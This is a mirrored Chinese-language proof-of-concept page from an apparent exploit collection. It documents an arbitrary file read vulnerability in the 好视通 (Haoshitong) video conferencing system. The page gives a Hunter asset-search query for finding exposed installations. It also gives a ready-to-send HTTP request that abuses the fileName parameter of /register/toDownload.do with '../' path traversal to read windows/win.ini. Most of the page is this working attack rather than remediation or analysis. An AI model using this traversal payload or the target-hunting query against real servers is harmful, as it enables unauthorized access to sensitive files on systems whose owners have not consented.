mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 11:26:58 +00:00
26 lines
1.2 KiB
Markdown
26 lines
1.2 KiB
Markdown
|
# 好视通视频会议系统存在任意文件读取漏洞
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
<font style="color:rgb(51, 51, 51);">好视通视频会议是由深圳市华视瑞通信息技术有限公司开发，其在国内率先推出了3G互联网视频会议，并成功应用于SAAS领域。好视通视频会议系统存在任意文件读取漏洞，攻击者可通过该漏洞获取敏感信息。</font>
|
|||
|
|
|
|||
|
|
# <font style="color:rgb(51, 51, 51);">二、影响版本</font>
|
|||
|
|
+ 好视通视频会议系统
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
+ hunter`app.name="好视通 Server Management System"`
|
|||
|
|
+ 特征
|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
```python
|
|||
|
|
GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
|
|||
|
|
Host: xx.xx.xx.xx
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
|||
|
|
Content-Length: 0
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-02-29 23:55:44
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/gsb2m9xvhebci1ix>
|